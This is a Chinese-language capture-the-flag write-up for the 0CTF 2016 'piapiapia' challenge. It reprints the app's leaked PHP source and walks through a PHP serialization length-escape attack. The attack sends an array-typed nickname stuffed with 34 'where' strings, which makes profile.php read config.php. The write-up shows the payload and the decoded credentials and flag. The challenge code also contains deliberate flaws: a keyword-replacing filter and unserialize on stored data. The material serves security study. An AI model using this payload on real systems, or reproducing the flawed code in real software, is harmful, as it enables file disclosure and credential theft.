一个很可爱的登录界面：
进行一下目录扫描，发现源码泄露www.zip，把源码给出：
index.php
<?phprequire_once('class.php');if($_SESSION['username']) {header('Location: profile.php');exit;}if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');if($user->login($username, $password)) {$_SESSION['username'] = $username;header('Location: profile.php');exit;}else {die('Invalid user name or password');}}else {?><!DOCTYPE html><html><head> <title>Login</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body><div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Login</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">LOGIN</button></form></div></body></html><?php}?>在输入账号密码之后进入了profile.php，下面是profile.php的源码：
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');}$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));?><!DOCTYPE html><html><head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body><div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label></div></body></html><?php}?>还有注册页面的源码(没有太大用)，register.php：
<?phprequire_once('class.php');if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');if(!$user->is_exists($username)) {$user->register($username, $password);echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';}else {die('User name Already Exists');}}else {?><!DOCTYPE html><html><head> <title>Login</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body><div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Register</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">REGISTER</button></form></div></body></html><?php}?>然后是update.php：
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');}if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';}else {?><!DOCTYPE html><html><head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body><div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Please Update Your Profile</h3><label>Phone:</label><input type="text" name="phone" style="height:30px"class="span3"/><label>Email:</label><input type="text" name="email" style="height:30px"class="span3"/><label>Nickname:</label><input type="text" name="nickname" style="height:30px" class="span3"><label for="file">Photo:</label><input type="file" name="photo" style="height:30px"class="span3"/><button type="submit" class="btn btn-primary">UPDATE</button></form></div></body></html><?php}?>核心的处理代码，class.php：
<?phprequire('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = ''' . implode('','', $value_list) . '''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {$escape = array(''', '\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}}session_start();$user = new user();$user->connect($config);最后是config.php：
<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';?>
看来flag就是在config.php中了，要想办法拿到config.php的内容了。
然后就是代码审计了。
seay代码审计系统也可以给点线索的：
这个地方貌似有个文件读取的地方，在profile.php中：
else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));?>上面还有个反序列化unserialize，感觉有戏，如果$profile[‘photo']是config.php就可以读取到了，可以对photo进行操作的地方在update.php，有phone、email、nickname和photo这几个。
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}print_r(unserialize($profile));结果如下：
Array( [phone] => 12345678901 [email] => ss@q.com [nickname] => sea_sand [photo] => config.php)
可以看到反序列化之后，最后面upload这一部分就没了，下面就是想办法把config.php塞进去了。
从数组顺序上看是和上面数组的顺序一样的，可以抓个包看下post顺序，那么最有可能的就是从nickname下手了。
在设置了$profile之后，用update_profile()函数进行处理：
public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}进行了过滤：
public function filter($string) {$escape = array(''', '\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}有两个正则过滤，带上输入nickname时候有一个正则，总共三个过滤的地方，首先要绕过第一个输入时候的正则：
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');数组即可绕过：nickname[]=那么$profile就是这样了：$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}后面的正则要怎么利用呢，可以看到如果我们输入的有where，会替换成hacker，这样的话长度就变了，序列化后的每个变量都是有长度的，那么反序列化会怎么处理呢？我们应该怎么构造呢？
数组绕过了第一个正则过滤之后，如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;}，一共是34个字符，如果利用正则替换34个where，不就可以把这34个给挤出去，后面的upload因为序列化串被我们闭合了也就没用了：
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}在where被正则匹配换成hacker之后，正好满足长度，然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了，被反序列化的时候就会被当成photo，就可以读取到config.php的内容了。
下面开始操作：注册之后登陆，进入到update.php页面，输入信息及上传图片，用bp抓包把nickname改成数组即可： 
然后进入到profile中查看图片信息，把base64码解码：
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
解码得到：
<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = 'qwertyuiop';$config['database'] = 'challenges';$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';?>以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)，希望对大家有所帮助！
